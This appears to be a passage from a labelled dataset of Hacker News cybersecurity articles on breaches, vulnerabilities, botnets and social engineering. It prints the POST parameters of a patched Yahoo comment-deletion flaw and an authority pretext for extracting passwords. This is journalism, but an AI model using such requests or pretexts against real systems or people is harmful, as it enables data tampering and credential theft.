""Payment related information on Zomato is stored separately from this (stolen) data in a highly secure PCI Data Security Standard (DSS) compliant vault. No payment information or credit card data has been stolen/leaked,"" the company claims.

17 Million Zomato Accounts Sold on Dark Web
According to HackRead, a user going by the online moniker of ""nclay,"" who claimed to have hacked Zomato, is selling data of 17 Million registered Zomato users on a popular Dark Web marketplace.

The vendor also shared a sample data to verify the authenticity of the leaked database and is asking for 0.5587 Bitcoins (around $1017 or ₹65,261) for the entire set of data.

Though Zomato has partnered with HackerOne Bug Bounty Platform, hacker preferred to put up data on sale, which indicates it could be an internal breach, instead of exploiting a flaw.

The company believes that someone from inside its organization is responsible for the security breach.
""Our team is actively scanning all possible breach vectors and closing any gaps in our environment. So far, it looks like an internal (human) security breach - some employee's development account got compromised,"" the company said.

What should Zomato Customers do?

Customers should particularly be alert of any phishing email, which are usually the next step of cyber criminals after a breach to trick users into giving up further details like financial information.

For the obvious reasons, all customers are highly recommended to change their passwords for Zomato accounts as soon as possible, along with other websites that are using the same passwords, and choose unique passwords for different accounts.

If you can't create or remember complex passwords for different sites, you can make use of a password manager.

We have listed some good password managers for Android, iOS, Windows, Linux and Mac platform that could help you understand the importance of password manager and choose one according to your requirement.

",Data_Breaches
"There's something ""Human"" to Social Engineering !",https://thehackernews.com/2011/10/theres-something-human-to-social.html,"There's something ""Human"" to Social Engineering !

At the psychological skill of Social Engineering
Social engineering is the human side of breaking into corporate or personal pc's to gain information. Even companies that have an authentication process, firewalls, vpn's and network monitoring software are subject to the skill of a good social engineer.

In hacking we rely on our technical skill and in social engineering it is a game of getting your subject to tell you what you want to get into their system. Social engineering has been employed since the beginning of mankind, the art of trickery or deception for the purpose of information gathering, fraud, or in modern times, computer system access. In most cases today the social engineer never comes face to face with their target. In social engineering we exploit the attributes of the human decision making process known as ""cognitive biases.""

That was the question asked by the Team of Social-engineer.org Gurus.
Which tactic works best for a scamming social engineer? Acting like an authority figure and requiring a victim to answer questions and give up sensitive information? Or acting like a nice, trustworthy person who strikes up a friendly conversation and just needs the victim to tell them a few things to help them out?

They have just released results of a several-months long poll that laid out two different scenarios of how a Social engineer might try and elicit information from a victim.

The first showed how the principle of endearment and how it may be used by a malicious social engineer. The example given was a social engineer who attempts to get strangers to engage in very personal conversation with him with little effort. Dressed very casually he grabbed a prop that he felt would endear people to him, a small sign that had a funny slogan on it. As he walked around, looking like a tourist with his prop, he was able to engage people in conversation.

""The fact is we like to deal with people who are like us, but even more powerfully we like to deal with those who LIKE us,"" said Christopher Hadnagy, founder of social-engineer.org and author of Social engineering: The art of human hacking. ""Endearment makes a person feel liked and, in turn, like you. Endearment is used by getting on the same plane as the target, or giving them reasons to like you.""

The second story involved a social engineer employing the authority principle. The social engineer walks into the office with IT tools and a clip board he mumbles how busy he is today. Then looking at the secretary he barks an order, ""I was sent to check your network connectivity and I have no time as I have to do this on 25 other nodes. I need you to log in to your network share with your password as I watch to confirm you can connect.""

""This works because people fear losing their jobs and there are no methods in place for an employee to port or reject without fear,"" explained Hadnagy. ""Other methods, like carrying a clipboard, looking busy or in control, all of these give off the air of authority and few people will question it.""


Interview with David Kennedy (Member @ Social-engineer.org)
Mohit : First, tell us about yourself, your experience and what you have produced in the social engineering field?
David : I'm a director of information security for a fortune 1000 company. Don't let the title fool you, being a director just means i can focus on the stuff i love which is breaking things. I have a heavy penetration testing and exploitation background dating back to the military intelligence days as well as a security consultant working with a number of fortune 500 and 1000 companies. As a penetration tester a few years back, social-engineering was a major portion of what i needed to do in order to gain access either physically or through social-engineering attacks against organizations. It's been a blast working in the security community and contributing as much as i can to open source. My philosophy in life is i love what i do and where i work and my goal is to give as much back to the security community and make them successful and help if i can. I'm one of the founders of derbycon, a security conference in louisville kentucky, creator of the social-engineer toolkit, fast-track, member of the social-engineer crew/podcast, and main blog post at https://www.secmaniac.com.

Mohit : Please explain what social engineering is and how we use social engineering?
David : Social-engineering simply put is the manipulation of human behavior to achieve some task. For us as penetration testers, social-engineering can be leveraged in multiple capacities to compromise an organization and gain access which typically circumvents the majority of security controls in place in an organization. For me, i leverage social-engineering on a regular basis to identify weaknesses within my security program and user awareness. Most organizations are spending a ton of money on the latest shiny technology that promises to fix their security problems while our humans are finding the easiest way to get in.

Mohit : What are the best ways to perform social engineering?
David : Social-engineering takes some time to learn and something that requires practice. There's no easy answer on what the best way to social-engineer a victim. When i'm going after an organization i look at what they have on the internet, who the personnel is, their language, what companies they own, and as much information i can possibly learn from open source intelligence (osint). I'll develop a pretext (my attack) based on what i learn and practice it before hand to make sure it's perfect and flawless. A lot of times leveraging social networking sites in order to learn a lot of information about my targets is beneficial and leveraging trust with people they trust can always make that little bit of a difference.

Mohit : What are the recent usages of social engineering, such as the, hbgary hack by anonymous or rsa hack ?
David : I think the most recent one would be the rsa hack where the details are still a bit vague but leveraged spear-phishing in order to target a select amount of people with a flash zero day. We've seen these attacks become more and more prevalent and something we have been preaching on the social-engineer.org podcast for a large time that these types of attacks are coming and it's going to be something really difficult to protect against.

Mohit : How did ""SET (Social engineering toolkit)"" come about and why did you develop it?
David : when set was first conceived chris hadnagy and i were sitting in a chat room on irc talking together and he mentioned he was starting social-engineer.org to try to bring more awareness and education to the community about social-engineering and how it relates directly to security. We started chatting and found that there really was no tool out there for social-engineering and something that was a huge gap for us as penetration testers. Out of that talk, a raw version of set was created which was really basic in nature, it had a mass mailer, some pdf exploits and that was really it. Even with its early, early release it got a ton of positive feedback and it has just grown from there. I never thought for one minute that set would become the lead open source tool in social-engineering and something that penetration testers leverage on a regular basis, it's quite impressive and i'm humbled by it.

Mohit : Is social engineering dangerous ?
David : social-engineering is extremely dangerous and the largest threat that i see in information security to date. As mentioned before, we have a ton of technology in place that is specifically designed to stop buffer overflows (or detect them), catch malware (kind of a joke at this point), and protect our web applications. Yet our user population is still completely vulnerable and clueless on the signs of a breach. A fine balance between technology and user awareness needs to be accomplished and it'll never be 100 percent but it'll be a lot better than an uneducated user population.

Mohit : how does someone master social engineering ?
David : Social-engineering requires you to change your behavior, remove your barriers, and start to manipulate humans to do your bidding. I know that sounds awful, but use social-engineering in a positive way at your organization to see if you can affect a decision in your manner. Read and learn from studies on behavioral analysis and how humans interact with one another. Use the social-engineer.org framework to help you get the knowledge to expand on. Ultimately it's going to be yourself learning the techniques and applying them on a regular basis and be able to manipulate your own behavior to get a desired outcome from someone else.

Mohit : Give us an overview of the social engineering tools and what it offers.
David : The social-engineer toolkit (set) is an open-source python driven arsenal for penetration testers aimed at testing how well an organization can withstand a social-engineer attack. Set has a number of attack vectors specifically aimed at targeting the user population. Set aids a penetration tester in social-engineer attacks however doesn't perform it for them. It's up to the penetration tester to perform intelligence gathering and form their pretext in order to have a successful attack. Set has a number of tools and attacks including the spear phishing module, web attack vectors, teensy usb hid, wireless attack vectors, and a number of additional capabilities and features that make set a unique when it comes to social-engineering and penetration testing. Set is being used internationally by penetration testers and a critical tool to them in every capacity as social-engineering is a highly important attack vector to leverage during normal testing

After that great interview with the creator of the Social Engineering Toolkit, David Kennedy, I wondered how many readers really understand the difference in social engineering as opposed to hacking. The truth is social engineering is rarely discussed. People mostly like to talk about cracking and phreaking.

Let's bring social engineering out of the closet and onto discussion blogs. Sharing information, learning the techniques and knowing how to protect yourself from social engineering is the best way to be skilled in this method of hacking.

Hadnagy says the poll results further enforce that humans are naturally trusting creatures. But it is that trusting attitude that has led many to being hacked.
[Interview Source : 'The Hacker News' Magazine - Social Engineering Edition - Issue 02 - May,2011]

",Malware
Warning! Just an Image Can Hack Your Android Phone — Patch Now,https://thehackernews.com/2016/09/hack-android-phone-security.html,"Own an Android smartphone? Beware, as just an innocuous-looking image on social media or messaging app could compromise your smartphone.

Along with the dangerous Quadrooter vulnerabilities that affected 900 Million devices and other previously disclosed issues, Google has patched a previously-unknown critical bug that could let attackers deliver their hack hidden inside an innocent looking image via social media or chat apps.

In fact, there is no need for a victim to click on the malicious photo because as soon as the image's data was parsed by the phone, it would quietly allow a remote attacker to take control over the device or simply crash it.

The vulnerability is similar to last year's Stagefright bug (exploit code) that allowed hackers to hijack Android devices with just a simple text message without the owners being aware of it.

The Stagefright flaw affected more than 950 Million Android devices and resided in the core Android component Stagefright — a multimedia playback library used by Android to process, record and play multimedia files.

However, the recent vulnerability (CVE-2016-3862) resided in the way images used by certain Android applications parsed the Exif data in an image, SentinelOne's Tim Strazzere, the researcher who uncovered the vulnerability, told Forbes.

Any app using Android's Java object ExifInterface code is likely vulnerable to the issue.

An Image Received...? Your Game is Over

Making a victim open the image file within an affected app like Gchat or Gmail, a hacker could either cause a victim's phone to crash or remotely execute malicious code to inject malware on the phone and take control of it without victim's knowledge.
""Since the bug is triggered without much user interaction – an application only needs to load an image a specific way – triggering the bug is as simple as receiving a message or email from someone,"" Strazzere said. ""Once that application attempts to parse the image (which was done automatically), the crash is triggered.""
According to Strazzere, attackers could develop a simple exploit inside an image to target a large number of vulnerable Android devices.

Strazzere crafted exploits for the affected devices and found that it worked on Gchat, Gmail and most other messenger and social media apps, though he did not disclose the names of the other non-Google apps affected by the flaw.

When will I expect a Fix?

All versions of Google's operating system from Android 4.4.4 to 6.0.1 are vulnerable to the image-based hack, except today's update that fixed the vulnerability.

The researcher even successfully tested his exploits on a handful of phones running Android 4.2 and Amazon devices and found that the devices remain unpatched, leaving a large number of users of older Android devices exposed.

So, if you are not running an updated version of operating system and/or device, you probably are vulnerable to the image-based attack.

Google has delivered a patch to fix the issue, but given the shaky history of handset manufacturers and carriers rolling out security patches, it is not known how long the companies will take to update vulnerable Android devices.

Google rewarded Strazzere with $4,000 as part of the company's Android bug bounty program and another $4,000 as, Forbes reports; Strazzere had pledged to give all his reward money to Girls Garage, a program and workspace for girls aged 9-13.

",Vulnerability
Yahoo vulnerability allows Hacker to delete 1.5 million records from Database,https://thehackernews.com/2014/03/yahoo-vulnerability-allows-hacker-to_1.html,"Yahoo! The 4th most visited website on the Internet has been found vulnerable multiple times, and this time a hacker has claimed to spot a critical vulnerability in the Yahoo! sub-domain 'suggestions.yahoo.com', which could allow an attacker to delete the all the posted thread and comments on Yahoo's Suggestion Board website.

Egyptian Cyber Security Analyst, 'Ibrahim Raafat', found and demonstrated 'Insecure Direct Object Reference Vulnerability' in Yahoo's website on his blog.

Exploiting the flaw escalates the user privileges that allow a hacker to delete more than 365,000 posts and 1,155,000 comments from Yahoo! Database. Technical details of the vulnerability are as explained below:

Deleting Comments: While deleting his own comment, Ibrahim noticed the HTTP Header of POST request, i.e.
prop=addressbook&fid=367443&crumb=Q4.PSLBfBe.&cid=1236547890&cmd=delete_comment
Where parameter 'fid' is the topic id and 'cid' is the respective comment ID. While testing, he found changing the fid and cid parameter values allow him to delete other comments from the forum, that are actually posted by another user.

Deleting Posts: Next, he also tested post deletion mechanism and found a similar loophole in that. A normal HTTP Header POST request of deleting a post is:
POST cmd=delete_item&crumb=SbWqLz.LDP0
He found that, appending the fid (topic id) variable to the URL allows him to delete the respective post, that was not posted by himself i.e.
POST cmd=delete_item&crumb=SbWqLz.LDP0&fid=xxxxxxxx
Ibrahim has reported the flaw to Yahoo Security team and also provided a Video Demonstration, as shown below:
A potential attacker with little knowledge of programming could write an automated script to delete all the comments and posts.

The vulnerability hunter claimed that he had received the Bug Bounty for reporting this security flaw to yahoo and which now has been fixed by the company.

",Vulnerability
Russian Scientists Arrested for Using Nuclear Weapon Facility to Mine Bitcoins,https://thehackernews.com/2018/02/supercomputer-mining-bitcoin.html,"Two days ago when infosec bods claimed to have uncovered what's believed to be the first case of a SCADA network (a water utility) infected with cryptocurrency-mining malware, a batch of journalists accused other authors of making fear-mongering headlines, taunting that the next headline could be about cryptocurrency-miner detected in a nuclear plant.

It seems that now they have to run a story themselves with such headlines on their website because Russian Interfax News Agency yesterday reported that several scientists at Russia's top nuclear research facility had been arrested for mining cryptocurrency with ""office computing resources.""

The suspects work as engineers at the Russian Federation Nuclear Center facility—also known as the All-Russian Research Institute of Experimental Physics—which works on developing nuclear weapons.

The center is located in Sarov, Sarov is still a restricted area with high security. It is also the birthplace of the Soviet Union's first nuclear bomb.

In 2011, the Russian Federation Nuclear Center switched on a new supercomputer with a capacity of 1 petaflop, making it the twelfth most powerful in the world at the time.

According to Russian media reports, the engineers had tried to use one of Russia's most powerful supercomputers housed in the Federal Nuclear Center to mine Bitcoins.

The suspects were caught red-handed while attempting to connect the lab's supercomputer to the internet, which was supposed to be offline to ensure security, the nuclear center's security department was alerted.

Once caught, the engineers were handed over to the Federal Security Service (FSB).
""There has been an unsanctioned attempt to use computer facilities for private purposes including so-called mining,"" Tatyana Zalesskaya, head of the Institute's press service, told Interfax news agency.
""Their activities were stopped in time. The bungling miners have been detained by the competent authorities. As far as I know, a criminal case has been opened regarding them,"" Zalesskaya added, without revealing the exact number of employees detained.
The Federal Security Service (FSB) has yet to issue a statement on the arrests and criminal charges.

Cryptocurrency has gained tremendous popularity over the past year. Mining a single Bitcoin is not an ice cakewalk, as it requires an enormous amount of computational power and huge amounts of energy.

According to media reports, Russia is becoming a hotbed of cryptocurrency mining due to its low-cost energy reserves. One Russian businessman, Alexey Kolesnik, reportedly also bought two power stations exclusively to generate electricity for Bitcoin-mining data centers.

",Cyber_Attack
A Simple Bug Revealed Admins of Facebook Pages — Find Out How,https://thehackernews.com/2018/02/find-facebook-page-admin.html,"Facebook Page admins are publicly displayed only if admins have chosen to feature their profiles.

However, there are some situations where you might want to contact a Facebook page admin or want to find out who is the owner of a Facebook page.

Egyptian security researcher Mohamed A. Baset has discovered a severe information disclosure vulnerability in Facebook that could have allowed anyone to expose Facebook page administrator profiles, which is otherwise not supposed to be public information.

Baset claimed to have discovered the vulnerability in less than 3 minutes without any kind of testing or proof of concepts, or any other type of time-consuming processes.

In a blog post, Baset said he found the vulnerability, which he described as a ""logical error,"" after receiving an invitation to like a particular Facebook page on which he had previously liked a post.

Facebook has introduced a feature for page admins wherein they can send Facebook invitations to users asking them if they wished to like their page after liking a post, and a few days later, these interacted users may receive an email reminding them of the invitation.

After Baset received one such email invite, he simply opened ""show original"" drop-down menu option in email. Looking at the email's source code, he noticed that it included the page administrator's name, admin ID and other details.

The researcher then immediately reported the issue to the Facebook Security Team through its Bugcrowd bug bounty program. The company acknowledged the bug and awarded Baset $2,500 for his findings.

Though Facebook has now patched this information disclosure issue, people who have already received one such page invitation can still find out admin details from the invitation emails.
""We were able to verify that under some circumstances page invitations sent to non-friends would inadvertently reveal the name of the page admin which sent them,"" Facebook said. ""We've address the root cause here, and future emails will not contain that information.""
Facebook has now patched this information disclosure issue.

",Vulnerability
Zero-Day Flaw Found in 'Linux Kernel' leaves Millions Vulnerable,https://thehackernews.com/2016/01/linux-kernel-hacker.html,"A new critical zero-day vulnerability has been discovered in the Linux kernel that could allow attackers to gain root level privileges by running a malicious Android or Linux application on an affected device.

The critical Linux kernel flaw (CVE-2016-0728) has been identified by a group of researchers at a startup named Perception Point.
The vulnerability was present in the code since 2012, and affects any operating system with Linux kernel 3.8 and higher, so there are probably tens of millions of computers, both 32-bit and 64-bit, exposed to this flaw.

However, the most bothersome part is that the problem affects Android versions KitKat and higher, which means about 66 percent of all Android devices are also exposed to the serious Linux kernel flaw.


Impact of the Zero-Day Vulnerability

An attacker would only require local access to exploit the flaw on a Linux server.

If successfully exploited, the vulnerability can allow attackers to get root access to the operating system, enabling them to delete files, view private information, and install malicious apps.
""It's pretty bad because a user with legitimate or lower privileges can gain root access and compromise the whole machine,"" Yevgeny Pats, co-founder and CEO at security vendor Perception Point, said in a blog post published today.
""With no auto update for the kernel, these versions could be vulnerable for a long time. Every Linux server needs to be patched as soon the patch is out.""
Usually, flaws in Linux kernel are patched as soon as they are found; therefore, Linux-based operating systems are considered to be more secure than others. However, zero-day vulnerability recently discovered in the Linux kernel made its way for almost 3 years.

The Cause of the Critical Linux Kernel Vulnerability
The vulnerability is actually the result of a Reference Leak in the keyrings facility built into various flavors of Linux. The keyrings facility is primarily a way to encrypt and store login data, encryption keys and certificates, and then make them available to applications.

However, a reference leak could be abused by attackers to ultimately execute arbitrary code in the Linux kernel.

So far, the researchers said, no exploits have been discovered in the wild that take advantage of this vulnerability.

Perception Point has provided a technical analysis of the vulnerability and how one can exploit it, including proof-of-concept (PoC) exploit code published on its Github page.

Patch Expected to Roll Out Soon

The good news is that Perception Point has already reported the flaw to the Linux team, and patches are expected to roll out today to devices with automatic updates.

However, it may take a little longer on Android devices to receive the patch, given the fact that most updates aren't pushed automatically by manufacturers and carriers.

How Patch Linux Kernel Vulnerability (CVE-2016-0728)
Type following commands as per your Linux distro:
Debian or Ubuntu Linux: sudo apt-get update && sudo apt-get upgrade
RHEL / CentOS Linux: sudo yum update


UPDATE — Kernel bug Not A Big Deal for Android Users

Now, Google has claimed, as expected, that Perception Point claims – about 66 percent of all Android devices are also exposed to the serious Linux kernel flaw – are not entirely accurate.

According to the search engine giant, the number of Android devices affected by this zero-day flaw is significantly smaller than initially reported by Perception Point.
""We believe that no Nexus devices are vulnerable to exploitation by 3rd party applications. Further, devices with Android 5.0 and above are protected, as the Android SELinux policy prevents 3rd party applications from reaching the affected code,"" said Adrian Ludwig, Android's lead security engineer.
""Also, many devices running Android 4.4 and earlier do not contain the vulnerable code introduced in Linux kernel 3.8, as those newer kernel versions not common on older Android devices.""
The company also added that it has prepared a patch that has already been released to open source and provided to partners, and that ""the patch will be required on all devices with a security patch level of March 1, 2016, or greater.""

",Vulnerability
Insider Breach: T-Mobile Czech Employee Steals and Sells 1.5 Million Users Data,https://thehackernews.com/2016/06/t-mobile-hacked.html,"T-Mobile is the latest in the list of recent high-profile data breaches, though this time the breach is not carried out by ""Peace"" - the Russian hacker who was behind the massive breaches in some popular social media sites including LinkedIn, MySpace, Tumblr, and VK.com.

Instead, one of the T-Mobile's employees stole more than 1.5 Million customer records at the T-Mobile Czech Republic in order to sell it on for a profit, according to local media, MF DNES.

Yes, the customer service staff member tried to sell the T-Mobile customer marketing database, though it is not clear that how much of names, e-mail addresses, account numbers and other personal data of over 1.5 Million customers the database contained.

The T-Mobile Czech Republic has also refused to provide any ""additional specific information"" about what data was leaked, due to an ongoing police investigation.

Although the company assured its customers that the stolen database did not contain any sensitive information such as location, traffic or other sensitive data like passwords, rather the stolen data was only used for marketing purposes.

Milan Vasina, the Managing Director at the T-Mobile Czech Republic, said there was ""no actual data leak"" and that customer ""data are safe.""

""Although we found no system failure during a thorough check, we'll check the whole system again and consider the introduction of other precautionary measures if necessary,"" Vasina said in a statement.

Insider Threat

The Czech media is speculating that the data leak is massive that probably involves more than 1.5 Million T-Mobile customers, which makes it the largest known breach ever happened in the Czech Republic.

The investigation into the issue has been handed over to the Czech Police's Unit for Combating Organized Crime, though the company said the data breach is not due to a signal failure or a failure of system or procedures.

Instead, the data was stolen by one of its employees who was part of a ""small team"" that ""worked with customer data"" and who was caught while attempting to sell the database.

T-Mobile said it would inform its customers of any further developments in the investigation.

",Data_Breaches
More Insights On Alleged DDoS Attack Against Liberia Using Mirai Botnet,https://thehackernews.com/2016/11/ddos-attack-mirai-liberia.html,"On Thursday, we compiled a story based on research published by a British security expert reporting that some cyber criminals are apparently using Mirai Botnet to conduct DDoS attacks against the telecommunication companies in Liberia, a small African country.

In his blog post, Kevin Beaumont claimed that a Liberian transit provider confirmed him about the DDoS attack of more than 500 Gbps targeting one undersea cable servicing Internet connectivity for the entire country.

Later, some media outlets also confirmed that the DDoS attack caused Internet outage in some parts of the country, citing 'slow Internet' and 'total outage' experienced by some local sources and citizens.
""The DDoS is killing our business. We have a challenge with the DDoS. We are hoping someone can stop it. It's killing our revenue. Our business has frequently been targeted"" an employee with one Liberian mobile service provider told PC World.
Network firm Level 3 confirmed Zack Whittaker of ZDNet that it had seen attacks on telecoms companies in Liberia making access to the web spotty. Other reports suggested mobile net access was affected too.
""At first I thought it was a problem with my internet provider, which often suffers from slow speeds. But this feels more serious. Even when you do get online, the connection repeatedly cuts out."" BBC Africa's Jonathan Paye-Layleh in Liberia shared his experience.
Of course, based on the high concern, the story went viral and Kevin's research was covered by other media outlets, including BBC, PC World, The Guardian, Forbes, IBtimes, Quartz, Mashable, although few of them interpreted the incident incorrectly and claimed that the attack took down the entire country's Internet.

In our article, we explicitly mentioned multiple times that criminals are ""using Mirai Botnet to shut down the Internet for an entire country"" and ""trying to take down the Internet of Liberia.""

The only mistake in our previous article was the image caption which briefly said, ""DDoS takes down entire country offline."" We apologize to our readers for an incorrect image caption, which has now been corrected.

Latest Insights On Liberia DDoS Attack Story

After Kevin's story, some new developments with more insights have appeared.

Doug Madory, the Director of Internet Analysis at Dyn Research tweeted that DYN and Internet-infrastructure company Akamai have no data that supports any nationwide Internet outage in Liberia.

The Hacker News has also been contacted by Kpetermeni Siakor, who manages infrastructure at the Liberia Internet Exchange Point, stating that only Lonestarcell MTN, one of the country's four major telecommunication companies, faced 500 Gbps of DDoS attack for a short period, which was mitigated successfully.
""From inspecting our logs at the Liberia IXP, we didn't see any downtime in the past three weeks. The general manager of the CCL also couldn't confirm any issues with the ACE cable,"" Siakor said.
In our previous article, the primary concern surrounds around two facts: The Mirai Botnet capability and ACE submarine fiber-optic cable capacity.

Where just 100,000 Mirai bots were successful in knocking down the majority of Internet Offline two weeks ago, how easy it could be for millions of bots to DDoS the ACE submarine fiber-optic cable, whose total capacity is just 5.12 Tbps that is being shared between all of the 23 countries, including Liberia.

So, when we said that someone was trying to take the entire country down, we meant that cyber criminals have such capacity to do so, and since they have targeted one network operator, does not mean they would not attack other network operators that could impact the Internet services in the country.

Mirai Malware Threat: Protect Your IoT Devices

The incidents involving the Mirai malware is extremely worrying because it can take over insecure cameras, DVRs, and routers, which are widely available all around the world – Thanks to lazy manufacturers and customers.

Mirai malware scans for Internet of Things (IoT) devices that are still using their default passwords and then enslaves those devices into a botnet, which is then used to launch DDoS attacks.

So, the best way to protect yourself and your devices is to be more vigilant about the security of your smart devices.

In our previous article, we provided some basic, rather practical, solutions that will help you protect your IoT devices from becoming part of the Mirai botnet. You can also check also yourself if your IoT device is vulnerable to Mirai malware.

",Cyber_Attack
Hackers Exploit Accellion Zero-Days in Recent Data Theft and Extortion Attacks,https://thehackernews.com/2021/02/hackers-exploit-accellion-zero-days-in.html,"Cybersecurity researchers on Monday tied a string of attacks targeting Accellion File Transfer Appliance (FTA) servers over the past two months to data theft and extortion campaign orchestrated by a cybercrime group called UNC2546.
The attacks, which began in mid-December 2020, involved exploiting multiple zero-day vulnerabilities in the legacy FTA software to install a new web shell named DEWMODE on victim networks and exfiltrating sensitive data, which was then published on a data leak website operated by the CLOP ransomware gang.
But in a twist, no ransomware was actually deployed in any of the recent incidents that hit organizations in the U.S., Singapore, Canada, and the Netherlands, with the actors instead resorting to extortion emails to threaten victims into paying bitcoin ransoms.
According to Risky Business, some of the companies that have had their data listed on the site include Singapore's telecom provider SingTel, the American Bureau of Shipping, law firm Jones Day, the Netherlands-based Fugro, and life sciences company Danaher.
Following the slew of attacks, Accellion has patched four FTA vulnerabilities that were known to be exploited by the threat actors, in addition to incorporating new monitoring and alerting capabilities to flag any suspicious behavior. The flaws are as follows -
CVE-2021-27101 - SQL injection via a crafted Host header
CVE-2021-27102 - OS command execution via a local web service call
CVE-2021-27103 - SSRF via a crafted POST request
CVE-2021-27104 - OS command execution via a crafted POST request
FireEye's Mandiant threat intelligence team, which is leading the incident response efforts, is tracking the follow-on extortion scheme under a separate threat cluster it calls UNC2582 despite ""compelling"" overlaps identified between the two sets of malicious activities and previous attacks carried out by a financially motivated hacking group dubbed FIN11.
""Many of the organizations compromised by UNC2546 were previously targeted by FIN11,"" FireEye said. ""Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020.""
Once installed, the DEWMODE web shell was leveraged to download files from compromised FTA instances, leading to the victims receiving extortion emails claiming to be from the ""CLOP ransomware team"" several weeks later.
Lack of reply in a timely manner would result in additional emails sent to a wider group of recipients in the victim organization as well as its partners containing links to the stolen data, the researchers detailed.
Besides urging its FTA customers to migrate to kiteworks, Accellion said fewer than 100 out of 300 total FTA clients were victims of the attack and that less than 25 appear to have suffered ""significant"" data theft.
The development comes after grocery chain Kroger disclosed last week that HR data, pharmacy records, and money services records belonging to some customers might have been compromised as a result of the Accellion incident.
Then earlier today, Transport for New South Wales (TfNSW) became the latest entity to confirm that it had been impacted by the worldwide Accellion data breach.
""The Accellion system was widely used to share and store files by organisations around the world, including Transport for NSW,"" the Australian agency said. ""Before the attack on Accellion servers was interrupted, some Transport for NSW information was taken.""

",Malware
Variant of Zeusbot/Spyeye Botnet uses p2p network model,https://thehackernews.com/2012/02/variant-of-zeusbotspyeye-botnet-uses.html,"Variant of Zeusbot/Spyeye Botnet uses p2p network model

Cybercriminals are using a modified version of the Zeusbot/Spyeye, which is using a peer-to-peer (P2P) network architecture, rather than a simple bot to command-and-control (C&C) server system, making the botnet much harder to take down, Symantec warned. ZeuS is very popular in the cybercriminal world because it's capable of stealing a wide variety of information, documents and login credentials from infected systems.

For many years it was the weapon of choice for most fraudsters targeting online banking systems.The Trojan's source code was published on Internet underground forums last year, paving the way for many third-party modifications and improvements.

Previously, P2P was used to communicate between bots any change in the C&C server's URL. Other techniques have also been used, such as programmatically determining the URLs to be used on particular dates in the event that a bot loses contact completely.

However, a new variant recently detected by antivirus vendor Symantec has completely removed the need for C&C servers. ""Every peer in the botnet can act as a C&C server, while none of them really are one,"" Symantec researcher Andrea Lelli said in a blog post Wednesday.

Other changes noted by Symantec include a greater use of UDP instead of TCP to make it harder to track and dump data exchanges, and alterations to the compression and encryption used. In addition, the Zeus bot has been found distributing additional malware.

""Bots are now capable of downloading commands, configuration files, and executables from other bots -- every compromised computer is capable of providing data to the other bots,"" she said.

""Zeustracker is a site which has had considerable success in tracking and publishing IP block lists for Zeus C&C servers around the world,"" Lelli said, adding that Zeus' switch to P2P for these functions means that the site would no longer be able to produce exact Zeus C&C IP block lists.

Law enforcement has been able to take down botnets in the past by shutting down the C&C servers. However, with a P2P network architecture, a botnet can avoid this single point of vulnerability.

[Source]

",Malware
Palestinian Hacker posted vulnerability details on Mark Zuckerberg's Timeline,https://thehackernews.com/2013/08/Mark-Zuckerberg-hacked-facebook-hacking-tool.html,"A Palestinian Web Developer and Hacker, 'Khalil Shreateh' found an interesting vulnerability in Facebook, that allows hacker to bypass the Privacy settings to make a post on anyone's Timeline / Wall.

He was forced to post vulnerability details on Mark Zuckerberg (Facebook Founder) Timeline to prove his point, after the Facebook Security Team failed to recognize his critical vulnerability three times. The flaw even working for those victims, who is not included in the attacker friend list.
According to Facebook's Bug Bounty program, a researcher has to submit the flaw details via email to Facebook Security Team without disclosing the details in Public. In order to get the minimum reward of US$500, the flaw should be valid.

The reported vulnerability is in ""composer.php"" file on Facebook mechanism. First Khalil made a post on the timeline of a girl, ""Sarah Gooden"" who studied at the same college as Facebook CEO Mark Zuckerberg.
But Facebook Security Team was not able to reproduce the bug at first time and they replied,""Sorry, this is not a bug,"". At last he explained his disappointing experience with the security team and flaw details on Zuck's wall to prove his report and just after that he received a response from a Facebook engineer requesting all the details about the vulnerability.

After receiving the third bug report, a Facebook security engineer finally admitted the vulnerability but said that Khalil won't be paid for reporting it because his actions violated the website's security terms of service.

Stay tuned to 'The Hacker News' Facebook Page for the Technical detail about the exploit.

",Vulnerability
7 Chrome Extensions Spreading Through Facebook Caught Stealing Passwords,https://thehackernews.com/2018/05/chrome-facebook-malware.html,"Luring users on social media to visit lookalike version of popular websites that pop-up a legitimate-looking Chrome extension installation window is one of the most common modus operandi of cybercriminals to spread malware.

Security researchers are again warning users of a new malware campaign that has been active since at least March this year and has already infected more than 100,000 users worldwide.

Dubbed Nigelthorn, the malware is rapidly spreading through socially engineered links on Facebook and infecting victims' systems with malicious browser extensions that steal their social media credentials, install cryptocurrency miners, and engage them in click fraud.

The malware was pushed through at least seven different Chrome browser extensions—all were hosted on Google's official Chrome Web Store.

These malicious Chrome browser extensions were first discovered by researchers at cybersecurity firm Radware, after a ""well-protected network"" of one of its customers, an unnamed global manufacturing firm, got compromised.
According to a report published by Radware, the malware operators are using copies of legitimate Google Chrome extensions and injecting a short obfuscated malicious script into them to bypass Google's extension validation checks.

Researchers named the malware ""Nigelthorn"" after one of the malicious extensions which was the copy of popular 'Nigelify' extension designed to replace all pictures on a web page with gifs of 'Nigel Thornberry.'

Nigelthorn Propagates Through Links Sent Over Facebook

Nigelthorn is spreading through socially engineered links on Facebook, which if clicked redirects victims to fake YouTube page, asking them to download a malicious Chrome extension, to continue playing the video.

Once installed, the extension executes a malicious JavaScript code that makes victims' computers part of a botnet.

A similar malware, dubbed Digimine, emerged last year that also worked by sending socially engineered links over Facebook Messenger and installed a malicious extension, allowing attackers to access the victims' Facebook profile and spread the same malware to their friends' list via Messenger.

We recently wrote about another similar malware campaign, dubbed FacexWorm, that was also distributed by sending socially engineered links over Facebook Messenger and redirected users to fake YouTube page, asking them to install a malicious Chrome extension.

NigelThorn Steals Password for Facebook/Instagram Accounts

The new malware majorly focuses on stealing credentials for victims' Facebook and Instagram accounts and collecting details from their Facebook accounts.

This stolen information is then used to send malicious links to friends of the infected person in an effort to push the same malicious extensions further. If any of those friends click on the link, the whole infection process starts over again.

NigelThorn also downloads a publicly available, browser-based cryptocurrency mining tool as a plugin to trigger the infected systems to start mining cryptocurrencies, including Monero, Bytecoin or Electroneum.

Over the period of just 6 days, the attackers appeared to generate approximately $1,000 in cryptocurrencies, mostly Monero.

Nigelthorn is also persistent as to prevent users from removing the malicious extensions, it automatically closes the malicious extension tab each time the user opens it prevents removal.

The malware also blacklists a variety of clean-up tools offered by Facebook and Google and even prevents users from making edits, deleting posts and making comments.

List of Malicious Chrome Extensions
